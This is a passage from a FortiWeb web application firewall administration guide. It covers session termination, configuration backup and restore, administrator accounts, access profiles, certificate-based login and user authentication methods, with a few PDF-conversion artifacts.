FortiView	▼	Source	Source Port	Destination	Destination Port	Bytes (Sent/Received)
Topology	>	172.31.13.218	51668	1.1.1.1	80	568 B/0 B
Security	>	172.31.13.218	51748	1.1.1.1	80	568 B/0 B
Traffic	>	172.31.13.218	51932	1.1.1.1	80	568 B/0 B
Sessions	▼	172.31.13.218	51688	1.1.1.1	80	568 B/0 B
Sources		172.31.13.218	51728	1.1.1.1	80	568 B/0 B
Policies		172.31.13.218	51628	1.1.1.1	80	567 B/0 B
		172.31.13.218	51588	1.1.1.1	80	567 B/0 B
User	>					
Policy	>					
Server Objects	>					

Similarly, when you drill down into the **Sources** tab, you will see session information for the selected source IP address(es) for that server policy.

Ending sessions

You can end sessions in FortiView's Sessions menu under either the **Sources** or **Policies** submenu. Below is an example that describes how to end sessions under the **Sources** submenu.

1. Go to **FortiView > Sessions > Sources**.
2. Drill down into a source. Alternatively, click the **Add Filter** icon and select a source.
3. Select the **Destinations** tab.



This example shows you how to end sessions going to a specific destination IP address. You can end sessions from any tab, and the process is essentially the same. To end sessions, you simply have to select a unique session or group of

sessions. For example, if you select the **Policies** tab for a specific source under **FortiView > Sessions > Sources**, you can end sessions for a specific policy there.

Similarly, if you go to **FortiView > Sessions > Policies** and select the **tab under a selected policy, you can end unique sessions or groups of sessions for a specific policy going to a specific destination IP address as well.**

4. Drill down into a destination. Alternatively, click the **Add Filter** icon and select a destination.
5. From the list of sources in that destination, select the source(s) that you want to end and right-click to open this menu:

Source	Source Port	Destination	Destination Port	Bytes (Sent/Received)
172.31.13.218	51688	1.1.1.1	80	568 B/0 B
172.31.13.218	51728	1.1.1.1	80	568 B/0 B
172.31.13.218	51628	1.1.1.1	80	567 B/0 B
172.31.13.218	51588	1.1.1.1	80	567 B/0 B

End Session(s)

End the selected session(s)

End All Sessions

End all of the sessions displayed. For example, if you are viewing all of the sessions for a source, all sessions from that source will be ended. Similarly, if you are viewing all of the sessions for a destination IP address, all sessions going to that destination will be ended.

Note: You can select multiple sessions by shift-clicking or control-clicking sessions.

See also

- [Configuring a server policy](#)

Backups

System > Maintenance > Backup & Restore enables you to:

- Create backup files of the system configuration and web protection profiles.
- Restore the system configuration or web protection profile from a previous backup. For details, see ["Restoring a previous configuration"](#) on page 328.
- Update the geo-location data file used by the **Data Analytics** feature. For details, see ["Updating data analytics definitions"](#) on page 731.
- Update the firmware of the FortiWeb appliance. For details, see ["Updating the firmware"](#) on page 120.

Once you have tested your basic installation and verified that it functions correctly, create a backup. This “clean” backup can be used to:

- Troubleshoot a non-functional configuration by comparing it with this functional baseline via a tool such as Diff. For details, see ["Tools"](#) on page 778.
- Rapidly restore your installation to a simple yet working point. For details, see ["Restoring a previous configuration"](#) on page 328.
- Batch-configure FortiWeb appliances by editing the file in a plain text editor, then uploading the finalized configuration to multiple appliances. For details, see ["Restoring a previous configuration"](#) on page 328.

After you have a working deployment, back up the configuration again after any changes. This ensures that you can rapidly restore your configuration exactly to its previous state if a change does not work as planned.



You can configure the appliance to periodically upload a backup to an FTP server. See ["To back up the configuration via the web UI to an FTP/SFTP server"](#) on page 325.

Your deployment’s configuration is comprised of a few separate components. To make a **complete** configuration backup, you must include the:

- Core configuration file
- Certificates, private keys, and custom error pages
- Vulnerability scan settings
- Web protection profiles
- Web server configuration files (see the documentation for your web servers’ operating systems or your preferred third-party backup software)



Configuration backups do **not** include data such as logs and reports.

There are multiple methods that you can use to create a FortiWeb configuration backup. Use whichever one suits your needs:

- ["To back up the configuration via the web UI"](#) on page 325
- ["To back up the configuration via the web UI to an FTP/SFTP server"](#) on page 325

- ["To back up the configuration via the CLI to a TFTP server"](#) on page 327

To back up the configuration via the web UI

1. Log in to the web UI as the `admin` administrator.

Other administrator accounts do not have the required permissions.

2. Go to **System > Maintenance > Backup & Restore**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see ["Permissions"](#) on page 85.

3. Select the **Local Backup** tab.

The top of the page displays the date and time of the last backup. (No date and time is displayed if the configuration was never backed up, or you restored the firmware.)

4. Under **Backup/Restore**, select **Backup**.

5. Select either:

Backup entire configuration—Creates a full backup of the configuration that includes both the configuration file (a CLI script) and other uploaded files, such as private keys, certificates, and error pages.

Backup CLI configuration—Backs up the core configuration file only (a CLI script) and excludes any other uploaded files and vulnerability scan settings.

Backup Web Protection Profile related configuration—Backs up the web protection profiles only.

6. If you would like to password-encrypt the backup files using 128-bit AES before downloading them, enable **Encryption** and type a password in **Password**.

7. Click **Backup**.

If your browser prompts you, navigate to the folder where you want to save the configuration file.

Click **Save**.

Your browser downloads the configuration file. The download time varies by the size of the configuration and the specifications of the appliance's hardware as well as the speed of your network connection. It can take several minutes.

To back up the configuration via the web UI to an FTP/SFTP server



Fortinet strongly recommends that you password-encrypt this backup, and store it in a secure location. This method includes sensitive data such as your HTTPS certificates' private keys. Unauthorized access to private keys compromises the security of all HTTPS requests using those certificates.

1. Go to **System > Maintenance > Backup & Restore** and select the **FTP Backup** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

3. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
4. Configure these settings:

FTP Protocol	Select whether to connect to the server using FTP or SFTP.
FTP Server	Type either the IP address or fully qualified domain name (FQDN) of the server. The maximum length is 127 characters.
FTP Directory	Type the directory path on the server where you want to store the backup file. The maximum length is 127 characters.
FTP Authentication	Enable if the server requires that you provide a user name and password for authentication, rather than allowing anonymous connections.
FTP User	Type the user name that the FortiWeb appliance will use to authenticate with the server. The maximum length is 127 characters. This field appears only if you enable FTP Authentication (page 326).
FTP Password	Type the password corresponding to the user account on the server. The maximum length is 127 characters. This field appears only if you enable FTP Authentication (page 326).
Backup Type	Select either: • Full Config—A full configuration backup that includes both the configuration file and other uploaded files, such as private keys, certificates, and error pages. Note: You cannot restore a full configuration backup made via FTP/SFTP by using the web UI. Instead, use the <code>execute restore</code> command in the CLI. • CLI Config—Only includes the core configuration file. • WAF Config—Only includes the web protection profiles.
Encryption	Enable to encrypt the backup file using 128-bit AES and a password.
Encryption Password	Type the password that will be used to encrypt the backup file. This field appears only if you enable Encryption (page 326).
Schedule Type	Select either: • Now—Initiate the backup immediately. • Daily—Schedule a recurring backup for a specific day and time of the week.
Days	Select the specific days when you want the backup to occur.

	This field is visible only if you set Schedule Type (page 326) to Daily .
Time	Select the specific hour and minute of the day when you want the backup to occur. This field is visible only if you set Schedule Type (page 326) to Daily.

5. Click **OK**.

If you selected an immediate backup, the appliance connects to the server and uploads the backup.

To back up the configuration via the CLI to a TFTP server

Fortinet strongly recommends that you password-encrypt this backup, and store it in a secure location. This method includes sensitive data such as your HTTPS certificates' private keys.

1. If necessary, start your TFTP server. If you do not have one, you can temporarily install and run one such as `tftpd` on your management computer:

Windows: <http://tftpd32.jounin.net>

Mac OS X: From the Terminal, enter the `man tftp` command.

Linux: https://access.redhat.com/knowledge/docs/en-US/Red_Hat_Enterprise_Linux/5/html/Installation_Guide/s1-netboot-tftp.html



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` when you are done.

2. Log in to the CLI as the `admin` administrator using either the local console, the **CLI Console** widget in the web UI, or an SSH or Telnet connection.

Other administrator accounts do not have the required permissions.

3. Enter the following command:

```
execute backup full-config tftp <file-name_str> <server_ipv4> [<backup-password_str>]
```

<file-name_str>	Type the file name of the backup.
<server_ipv4>	Type either the IP address of the server. Note: Domain names are currently not valid input with this command if you choose the FTP protocol.
[<backup-password_str>]	Optional. Type the password that will be used to encrypt the backup file. Caution: Do not lose this password. You will need to enter this same password when restoring the backup file in order for the appliance to

successfully decrypt the file. If you cannot remember the password, the backup cannot be used.

For example, the following command backs up a FortiWeb-3000C's configuration file to a file named `FortiWeb-3000C.conf` in the current directory on the TFTP server 172.16.1.10, encrypting the backup file using the salt string `P@ssw0rd1`:

```
FortiWeb-3000C # exec backup full-config FortiWeb-3000c.conf tftp 172.16.1.10 P@ssw0rd1
```

Time required varies by the size of the database and the specifications of the appliance's hardware, but could take several minutes.

Restoring a previous configuration

If you have downloaded configuration backups, you can upload one to revert the appliance's configuration to that point.



Uploading a configuration file can also be used to configure many features of the FortiWeb appliance in a single batch: download a configuration file backup, edit the file in a plain text editor, then upload the finalized configuration.

To upload a configuration via the web UI

1. Go to **System > Maintenance > Backup & Restore** and select the **Local Backup** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see "[Permissions](#)" on page 85.

If you have made a configuration backup to an FTP server (see "[To back up the configuration via the web UI to an FTP/SFTP server](#)" on page 325), you cannot restore it here. Instead, restore it by using the `execute restore` command. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

2. Select **Restore**.
3. Either type the path and file name of the file to restore in the **From File** field, or click **Browse** to locate the file. The file will have a `.conf` file extension.
4. If the backup was encrypted, enable **Decryption**, then in **Password**, provide the password that was used to encrypt the backup file.
5. Click **Restore** to start the restoration of the selected configuration to a file.

Your web browser uploads the configuration file and the FortiWeb appliance restarts with the new configuration. Time required to restore varies by the size of the file and the speed of your network connection. Your web UI session will be terminated when the FortiWeb appliance restarts.

6. To continue using the web UI, if you have not changed the IP address and static routes of the web UI, simply refresh the web page and log in again.

Otherwise, to access the web UI again, in your web browser, modify the URL to match the new IP address of the network interface.

For example, if you configured port1 with the IP address 10.10.10.5, you would browse to:

`https://10.10.10.5`

If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the FortiWeb appliance's new IP address.

7. Upload any auxiliary configuration files such as certificates. These are only included in the configuration backup if you used the CLI or FTP/SFTP server backup. Otherwise, you must upload them again manually.

Administrators

In its factory default configuration, FortiWeb has one administrator account named `admin`. This administrator has permissions that grant full access to FortiWeb's features.

To prevent accidental changes to the configuration, it's best if only network administrators—and if possible, only a single person—use the `admin` account. You can use the `admin` administrator account to configure more accounts for other people. Accounts can be made with different scopes of access. If you require such role-based access control (RBAC) restrictions, or if you simply want to harden security or prevent inadvertent changes to other administrators' areas, you can do so via access profiles. See "[Configuring access profiles](#)" on page 333. Similarly, you can divide policies and protected host names and assign them to separate administrator accounts. For details, see "[Administrative domains \(ADOMs\)](#)" on page 81.

For example, you could create an account for a security auditor who must only be able to view the configuration and logs, but **not** change them.

Administrators may be able to access the web UI, the CLI, and use ping/traceroute through the network, depending on:

- The account's trusted hosts. For details, see "[Trusted hosts](#)" on page 88.
- The protocols enabled for each of the FortiWeb appliance's network interfaces. For details, see "[Configuring the network interfaces](#)" on page 164.
- Permissions. For details, see "[Permissions](#)" on page 85.

To determine which administrators are currently logged in, use the CLI command `get system logged-users`. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>



To prevent multiple administrators from logging in simultaneously, which could allow them to inadvertently overwrite each other's changes, enable **Enable Single Admin User login** (page 91). For details, see "[Global web UI & CLI settings](#)" on page 89.

To configure an administrator account

1. Before configuring the account:

- Configure the access profile that will govern the account's permissions. For details, see "[Configuring access profiles](#)" on page 333.
- If ADOMs are enabled, define the ADOM which will be assigned to this account. For details, see "[Defining ADOMs](#)" on page 82.
- If you already have accounts that are defined on an LDAP (e.g., Microsoft Active Directory or IBM Lotus Domino) or RADIUS server, FortiWeb can query the server in order to authenticate your administrators. Configure the query set. For details, see "[Grouping remote authentication queries and certificates for administrators](#)" on page 335.

2. Go to **System > Admin > Administrators**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see "[Permissions](#)" on page 85.

3. Click **Create New**.

4. Configure these settings:

Administrator	Type the name of the administrator account, such as <code>admin1</code> or <code>admin@example.com</code>, that can be referenced in other parts of the configuration. Do not use spaces or special characters except the 'at' symbol (<code>@</code>). The maximum length is 63 characters. Note: This is the user name that the administrator must provide when logging in to the CLI or web UI. If using an external authentication server such as RADIUS or Active Directory, this name will be passed to the server via the remote authentication query.
Type	Select either: • Local User—Authenticate using an account whose name, password, and other settings are stored locally, in the FortiWeb appliance's configuration. • Remote User—Authenticate by querying the remote server that stores the account's name and password. Also configure Admin User Group (page 331).
Password	Type a password for the administrator account. This field is available only when Type (page 331) is Local User. Tip: Set a strong password for every administrator account, and change the password regularly. Failure to maintain the password of every administrator account could compromise the security of your FortiWeb appliance. As such, it can constitute a violation of PCI DSS compliance and is against best practices. For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly.
Confirm Password	Re-enter the password to confirm its spelling. This field is available only when Type (page 331) is Local User.
Admin User Group	Select a remote authentication query set. For details, see "Grouping remote authentication queries and certificates for administrators" on page 335. This field is available only when Type (page 331) is Remote User. Caution: Secure your authentication server and, if possible, all query traffic to it. Compromise of the authentication server could allow attackers to gain administrative access to your FortiWeb.
Wildcard	Specifies whether the user-configured access profile in a remote authentication server overrides the access profile that is configured in FortiWeb.

This field is available only when **Type** (page 331) is **Remote User**.

Trusted Host #1

Type the source IP address(es) and netmask from which the administrator is allowed to log in to the FortiWeb appliance. If **PING** is enabled, this is also a source IP address to which FortiWeb will respond when it receives a ping or traceroute signal.

Trusted Host #2

Trusted Host #3

Trusted areas can be single hosts, subnets, or a mixture. For details, see "[Trusted hosts](#)" on page 88.

To allow logins only from **one** computer, enter its IP address and 32- or 128-bit netmask in **all Trusted Host** fields:

```
192.0.2.2/32
```

```
2001:0db8:85a3::8a2e:0370:7334/128
```

Caution: If you configure trusted hosts, do so for **all** administrator accounts. Failure to do so means that all accounts are still exposed to the risk of brute force login attacks. This is because if you leave even **one** administrator account unrestricted (i.e. any of its **Trusted Host** settings is 0.0.0.0/0.0.0.0), the FortiWeb appliance must allow login attempts on all network interfaces where remote administrative protocols are enabled, and wait until **after** a login attempt has been received in order to check that user name's trusted hosts list.

Tip: If you allow login from the Internet, set a longer and more complex **Password** (page 331), and enable only secure administrative access protocols (**HTTPS** (page 165) and **SSH** (page 166)) to minimize the security risk. For details about administrative access protocols, see "[Configuring the network interfaces](#)" on page 164. Also restrict trusted hosts to IPs in your administrator's geographical area.

Tip: For improved security, restrict all trusted host addresses to single IP addresses of computer(s) from which **only** this administrator will log in.

Access Profile

Select an existing access profile to grant permissions for this administrator account. For details about permissions, see "[Configuring access profiles](#)" on page 333 and "[Permissions](#)" on page 85.

You can select **prof_admin**, a special access profile used by the `admin` administrator account. However, selecting this access profile will **not** confer all of the same permissions of the `admin` administrator. For example, the new administrator would not be able to reset lost administrator passwords.

This option does not appear for the `admin` administrator account, which by definition always uses the **prof_admin** access profile.

Tip: Alternatively, if your administrator accounts authenticate via a

RADIUS query, you can override this setting and assign their access profile through the RADIUS server using RFC 2548 (<http://www.ietf.org/rfc/rfc2548.txt>) Microsoft Vendor-specific RADIUS Attributes.

On the RADIUS server, create an attribute named:

```
ATTRIBUTE Fortinet-Access-Profile 6
```

then set its value to be the name of the access profile that you want to assign to this account. Finally, in the CLI, enter the command to enable the override:

```
config system admin
  edit "admin1"
    set accprofile-override enable
  end
```

If none is assigned on the RADIUS server, or if it does not match the name of an existing access profile on FortiWeb, FortiWeb will fail back to use the one locally assigned by this setting.

Administrative Domain

Select which existing ADOM to assign this administrator account to it, and to restrict its permissions to that ADOM. For details about permissions, see ["Configuring access profiles"](#) on page 333 and ["Permissions"](#) on page 85.

This option appears only if ADOMs are enabled, and if [Administrative Domain](#) (page 333) is not **prof_admin**. (**prof_admin** implies global access, with no restriction to an ADOM.)

5. Click **OK**.

See also

- ["Configuring access profiles"](#) on page 333
- ["Grouping remote authentication queries and certificates for administrators"](#) on page 335
- ["Configuring the network interfaces"](#) on page 164
- ["Trusted hosts"](#) on page 88
- ["Permissions"](#) on page 85
- ["Administrative domains \(ADOMs\)"](#) on page 81

Configuring access profiles

Access profiles, together with ADOMs, determine administrator accounts' permissions.

When an administrator has only read access to a feature, the administrator can access the web UI page for that feature, and can use the `get` and `show` CLI command for that feature, but cannot make changes to the configuration. There are no **Create** or **Apply** buttons, or `config` CLI commands. Lists display only the **View**

icon instead of icons for **Edit**, **Delete** or other modification commands. Write access is required for modification of any kind.

In larger companies where multiple administrators divide the share of work, access profiles often reflect the specific job that each administrator does ("role"), such as user account creation or log auditing. Access profiles can limit each administrator account to their assigned role. This is sometimes called role-based access control (RBAC).

The `prof_admin` access profile, a special access profile assigned to the `admin` administrator account and required by it, **does not** appear in the list of access profiles. It exists by default and cannot be changed or deleted, and consists of essentially UNIX `root`-like permissions.



Even if you assign the `prof_admin` access profile to other administrators, they will **not** have all of the same permissions as the `admin` account. The `admin` account has some special permissions, such as the ability to reset administrator passwords, that are inherent in that account only. Other accounts should not be considered a complete substitute.

If you create more administrator accounts, whether to harden security or simply to prevent accidental modification, create other access profiles with the minimal degrees and areas of access that each role requires. Then assign each administrator account the appropriate role-based access profile.

For example, for an administrator whose only role is to audit the log messages, you might make an access profile named `auditor` that only has **Read** permissions to the **Log & Report** area.

To configure an access profile

1. Go to **System > Admin > Profile**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

A dialog appears.

3. In **Profile Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

4. Configure the permissions options:

Access Control	☒ None	☐ Read Only	☐ Read-Write
Maintenance	☒	☐	☐
Admin Users	☒	☐	☐
System Configuration	☒	☐	☐
Network Configuration	☒	☐	☐
Log & Report	☒	☐	☐
Auth Users	☒	☐	☐
Server Policy Configuration	☒	☐	☐
Web Protection Configuration	☒	☐	☐
Autolearn Configuration	☒	☐	☐
Web Anti-Defacement Management	☒	☐	☐
Web Vulnerability Scan Configuration	☒	☐	☐

For each row associated with an area of the configuration, mark either the **None**, **Read Only**, or **Read-Write** radio buttons to grant that type of permission. For a list of features governed by each access control area, see ["Permissions"](#) on page 85.

Click the **Read Only** check box to select or deselect all read categories.

Click the **Read-Write** check box select or deselect all write categories.

Unlike the other rows, whose scope is an area of the configuration, the **Maintenance** row does not affect the configuration. Instead, it indicates whether the administrator can do special system operations such as changing the firmware.

5. Click **OK**.

See also

- ["Administrators"](#) on page 330
- ["Permissions"](#) on page 85
- ["Administrative domains \(ADOMs\)"](#) on page 81

Grouping remote authentication queries and certificates for administrators

When using LDAP, RADIUS queries or certificates to authenticate FortiWeb administrators, you must group queries or certificates for administrator accounts into a single set so that it can be used when configuring an administrator account.

To configure an administrator remote authentication query group

1. Before you can add administrators to a group, you must first define an LDAP/RADIUS query or a PKI user whose result set includes those administrator accounts. For details, see ["Configuring an LDAP server"](#) on page 346, ["Configuring a RADIUS server"](#) on page 351 and ["To create a PKI user"](#) on page 338.
2. Go to **User > User Group > Admin Group**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. In **Name**, type a name that can be referenced by other parts of the configuration, such as `admin-remote-auth1`. Do not use special characters. The maximum length is 63 characters.
5. Click **OK**.

The **Create New** button for this item, below its name, will no longer be greyed out, indicating that it has become available.
6. Click **Create New**.
7. For **User Type**, select either the **LDAP User**, **RADIUS User** or **PKI User** query type.
8. From **Name**, select the name of an existing LDAP/RADIUS query or PKI user. The contents of the drop-down list vary by your previous selection in **User Type**.
9. Click **OK**.
10. Repeat the previous steps for each query that you want to use when an account using this query group attempts to authenticate.
11. To apply the set of queries, select the group name for **Admin User Group** (page 331) when you configure an administrator account. For details, see ["Administrators"](#) on page 330.

Changing an administrator's password

If an administrator has forgotten or lost their password, or if you need to change an administrator account's password and you do not know its current password, you can reset the password.

If you forget the password of the `admin` administrator, you can reset the FortiWeb to its default state (including the default administrator account and password) by restoring the firmware. For instructions, see ["Restoring firmware \("clean install"\)"](#) on page 810.

To change an administrator account's password



If the account authenticates by FortiWeb querying a remote LDAP or RADIUS server, you cannot use this procedure. The **Change Password** button will be greyed out and unavailable for accounts that use remote authentication. Instead, log in to the remote authentication server and reset the password there.

1. Log in as the `admin` administrator account.

Alternatively, if you know the current password for the account whose password you want to change, you may log in with any administrator account whose access profile permits **Read** and **Write** access to items in the **Admin Users** category.

2. Go to **System > Admin > Administrators**.
3. Mark the check box in the row of the account whose password you want to change.
4. Click **Change Password**.
5. The **Old Password** field does not appear for other administrator accounts if you are logged in as the `admin` administrator. If you logged in using a different account, however, in the **Old Password** field, type the current password for the account whose password you are resetting.
Note: The `admin` account does not have an old password initially.
6. In the **New Password** and **Confirm Password** fields, type the new password and confirm its spelling.
7. Click **OK**.

If you change the password for the `admin` administrator account, the FortiWeb appliance logs you out. To continue using the web UI, you must log in. The new password takes effect the next time that account logs in.

Certificate-based Web UI login

Different from username/password authentication, certificate-based authentication is the use of a digital certificate, which includes asymmetric cryptography, to identify a user before granting access to a resource. FortiWeb supports the certificate-based authentication for administrators' Web UI login. FortiWeb control an administrator's login by verifying his certificate if he connects to the Web UI through HTTPS. By default, the certificate-based authentication can coexist with original username/password authentication.

- If you connect to the Web UI through HTTPS, FortiWeb first verifies the certificate you provided.
 - If your certificate is valid, then your access to Web UI will be granted (the username/password login page will not be displayed).
 - If you fail in the certificate authentication, you will be directed to the username/password login page.
- If you connect to the Web UI through HTTP, FortiWeb will only verify your access by the username/password.

However, FortiWeb can also operate with only the certificate-based authentication through the CLI:

```
config system global
    set admin-https-pki-required {enable | disable}
end
```

When `admin-https-pki-required` is enabled, the certificate-based authentication is the only authentication method that FortiWeb uses to verify the Web UI accesses. The administrator's access to the Web UI must be in HTTPS and a correct certificate must be provided for the authentication to be successful. The original username/password authentication will be disabled (No username/password login page will be displayed). If you fail the certificate authentication process, you will not be logged in to the web UI.

To apply certificate-based authentication to an administrator, complete these tasks:

1. ["To upload the CA's certificate of the administrator's certificate"](#) on page 338
2. ["To create a PKI user"](#) on page 338
3. ["To add the PKI user to an Admin group"](#) on page 338
4. ["To apply the Admin group to an administrator"](#) on page 339

To upload the CA's certificate of the administrator's certificate

1. Obtain a copy of your CA's certificate file.
2. Go to **System > Admin > Certificates** and select the **Admin Cert CA** tab.

You can click **View Certificate Detail** to view the selected certificate's subject, range of dates within which the certificate is valid, version number, serial number, and extensions.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

3. To upload a certificate, click **Import**.
4. To select a certificate, do one of the following:
 - Enable **SCEP** and in the field to the right of it, type the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows routers and other intermediary network devices to obtain certificates.)

To specify a specific CA, type an identifier in the field below the URL.

- Enable **Local PC** and browse to find a certificate file.
5. Click **OK**.

To create a PKI user

1. Go to **User > PKI User**.
2. You can click **Edit** to edit the selected PKI user.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see ["Permissions"](#) on page 85.

3. To create a PKI user, click **Create New**.
4. Complete the following settings:

Name	Enter the PKI user name for the administrator.
Subject	Enter the subject of the administrator's certificate, such as "C = US, ST = Washington, O = yourorganization, CN = yourname".
CA	Select the CA certificate of the administrator's certificate. All the certificates imported in System > Admin > Admin Cert CA will be listed here. For details, see "To upload the CA's certificate of the administrator's certificate" on page 338.

5. Click **OK**.

To add the PKI user to an Admin group

1. Go to **User > User Group > Admin Group**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

3. In **Name**, type a name that can be referenced by other parts of the configuration, such as `admin-remote-auth1`. Do not use special characters. The maximum length is 63 characters.
4. Click **OK**.

The **Create New** button for this item, below its name, will no longer be greyed out, indicating that it has become available.
5. Click **Create New**.
6. For **User Type**, select the **PKI User** type.
7. From **Name**, select the name of an existing PKI users that you created in **User > PKI User > PKI User**. For details, see ["To create a PKI user"](#) on page 338.
8. Click **OK**.

To apply the Admin group to an administrator

Go to **System > Admin > Administrators** and apply the Admin group containing the PKI user to a corresponding administrator by selecting **Remote User** as the **Type** and selecting the group in **Admin User Group**.

Administrators have to install their certificates to their local browsers first. Every time you use the browser to connect to FortiWeb's Web UI through HTTPS, you will be required to select one of the certificates installed in the browser for authenticate yourself to FortiWeb. FortiWeb verifies the certificate you provided with the PKI users in Admin groups. If you are succeed in the authentication, you will be associated with the administrator account that the matched PKI user and Admin group are applied to, and the access profile will be applied to you.

Users

On FortiWeb, user accounts do not log in to the administrative web UI.

Instead, they are used to add HTTP-based authentication and authorize each request from clients that are connecting through FortiWeb to your protected web servers.

Best practices dictate that each person accessing your websites should have his or her own account so that security audits can reliably associate a login event with a specific person. Accounts should be restricted to URLs for which they are authorized. Authorization may be derived from a person's role in the organization.

For example, a CFO would reasonably have access to all financial data, but a manufacturing technician usually should not. Such segregation of duties in financial regulation schemes often translates to role-based access control (RBAC) in information systems, which you can implement through FortiWeb's HTTP authentication and authorization rules.

For details, see ["Offloading HTTP authentication & authorization"](#) on page 343.



User authentication is **not** supported in all operation modes. For details, see ["Supported features in each operation mode"](#) on page 102.

See also

- ["Authentication styles"](#) on page 340
- ["Offloading HTTP authentication & authorization"](#) on page 343
- ["Example: Enforcing complex passwords"](#) on page 381

Authentication styles


Multiple different methods exist for end-users to authenticate with websites. These methods have different appearances and features.

Via the "Authorization:" header in the HTTP/HTTPS protocol

The HTTP/HTTPS protocol itself (RFC 2965; <http://tools.ietf.org/html/rfc2965>) supports simple authentication via the `Authorization:` and `WWW-Authenticate:` fields in HTTP headers.

When a website requires authentication in order to authorize access to a URL, it replies with an HTTP 401 `Authorization Required` response. This elicits a prompt from the web browser.

An HTTP authentication prompt in the Google Chrome browser



If the user supplies credentials, his or her web browser includes them in a second request for the same page. If the credentials are valid, the web server returns the requested URL; otherwise, it repeats its 401

Authorization Required response.

This type of authorization is handled at the web server layer of the host's software stack, independently of the static HTML, dynamic pages and runtime interpreters (PHP, ColdFusion, Python, etc.), or database (MySQL, PostgreSQL, etc.) of the web applications it may host, and as a result can span multiple web applications. It also may be offloaded to a FortiWeb. For details, see ["Offloading HTTP authentication & authorization"](#) on page 343.

Because the HTTP protocol itself is essentially stateless—no request is required to have knowledge of or be related to any other request—as a practical matter, many browsers cache this data so that users will not have to re-enter the same user name and password over and over again, for every page that they visit on the website. (For this reason, one-time passwords are generally impractical. They effectively contradict the reusability of the cache.) However, in payment for this initial convenience, logouts are basically impossible unless the user clears his or her browser's cache and/or closes the window (which can also clear the cache).

Accounting, if any, of this type of authentication is handled by the web server (or, if you have offloaded authentication to FortiWeb, it may be accounted for in logs, depending on your configuration of [Alert Type](#)).



While some supported `WWW-Authenticate:` methods encrypt passwords, due to a lack of other cryptographic features, if used with HTTP, it is **not** as secure as HTTPS. For stronger protection, use HTTP-based authentication with HTTPS.

Via forms embedded in the HTML

Web applications can authenticate users by including `<input>` tags for each login credential in an `<form>` buttons, text fields, check boxes, and other inputs on a web application's login page such as `/login.asp`.

An authentication form on the Fortinet Technical Support login web page

here.'"/>

This method does **not** rely on the mechanism defined in the HTTP protocol. Instead, when the user submits the form, the web application uses form inputs to construct server-side sessions, client-side session cookies, or parameters in the URL such as `JSPSESSIONID` in order to create statefulness.

This type of authorization occurs at the web application layer of the server's software stack. As a result, when visiting different web applications on the same host, users may have to authenticate multiple times, unless the web applications share a single sign-on (SSO) framework.

Authorization for each subsequent requested URL then occurs based upon whether the user is in the logged-in state, or the logged-out state, and possibly other implemented conditions such as user groups and permissions. Dynamic page content may change based upon knowledge of the user's preferences. In addition to a logout button, this method also often adds session timeouts. However, depending on the implementation, it often may only work properly if the client supports—and accepts—cookies.

Accounting, if any, of this type of authentication is handled by the web application or servlet.

This type of authentication cannot be offloaded to FortiWeb, but **can** be protected using its features. For example, you can use FortiWeb to enforce complex passwords by applying an input rule. Depending on your operation mode (see "[Supported features in each operation mode](#)" on page 102), you might want to see:

- "[Protecting against cookie poisoning and other cookie-based attacks](#)" on page 501
- "[Blocking known attacks & data leaks](#)" on page 505
- "[Validating parameters \("input rules"\)](#)" on page 553
- "[Preventing tampering with hidden inputs](#)" on page 560
- "[Preventing brute force logins](#)" on page 619
- "[Specifying URLs allowed to initiate sessions](#)" on page 548



If used within the content of HTTP, it is **not** as secure as HTTPS. For stronger protection, use form-based authentication with HTTPS.

Via a personal certificate

Alternatively or additionally to logging in by providing a password, clients can present an X.509 v3 personal certificate. This can be a good choice for large organizations where:

- entering a password is onerous due to password length/complexity policies or the nature of the device (e.g. small touch screens on iPhone or Android smart phones, or highly secure environments)
- you control the endpoint devices, so it is possible to install personal certificates

If your clients will connect to your websites using HTTPS, you can configure FortiWeb to require clients to present a personal certificate during the handshake in order to confirm their identities. This is sometimes called public key infrastructure (PKI) authentication ([RFC 5280](#)).

A personal certificate prompt in Microsoft Internet Explorer



For details, see "How to apply PKI client authentication (personal certificates)" on page 454.

Offloading HTTP authentication & authorization

If a website does not support RFC 2617 (<http://tools.ietf.org/html/rfc2617>) HTTP authentication on its own, nor does it provide HTML form-based authentication, you can use a FortiWeb appliance to authenticate HTTP/HTTPS clients before they are permitted to access a web page.



User authentication is **not** supported in all operation modes. For details, see "[Supported features in each operation mode](#)" on page 102.

Authentication can use either locally-defined accounts or remotely-defined accounts whose credentials are confirmed with the authentication following authentication servers:

- LDAP queries
- RADIUS queries,
- NTLM queries
- KDC queries
- SAML queries

based upon the end-user's confirmed identity or URL the he or she is requesting.

FortiWeb then applies rules for that account to determine whether to authorize each of the user's HTTP/HTTPS requests.

